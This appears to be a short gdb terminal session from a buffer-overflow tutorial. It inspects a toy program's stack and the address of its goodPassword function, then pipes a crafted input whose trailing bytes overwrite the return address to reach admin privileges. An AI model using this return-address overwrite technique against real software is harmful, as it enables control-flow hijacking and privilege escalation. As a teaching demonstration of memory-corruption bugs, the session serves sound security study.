|
|
$ gcc -ggdb bar.c $ gdb a.out > break getName > run Breakpoint 1, getName (x=5) at bar.c:10 > print main $1 = {int ()} 0x40063c <main> > print /x *buf@40 $2 = {0xe0, 0x4, 0x40, 0x0 <repeats 13 times>, 0xf0, 0xdd, 0xff, 0xff, 0xff, 0x7f, 0x0, 0x0, 0x58, 0x6, 0x40, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd0, 0xde, 0xff, 0xff, 0xff, 0x7f, 0x0, 0x0} |
> print goodPassword $3 = {void ()} 0x400617 <goodPassword> |
$ echo -e "electroencefalografista\x0\x17\x6\x40" | ./a.out Enter your name: Great Success! You Earned admin 2 privilges |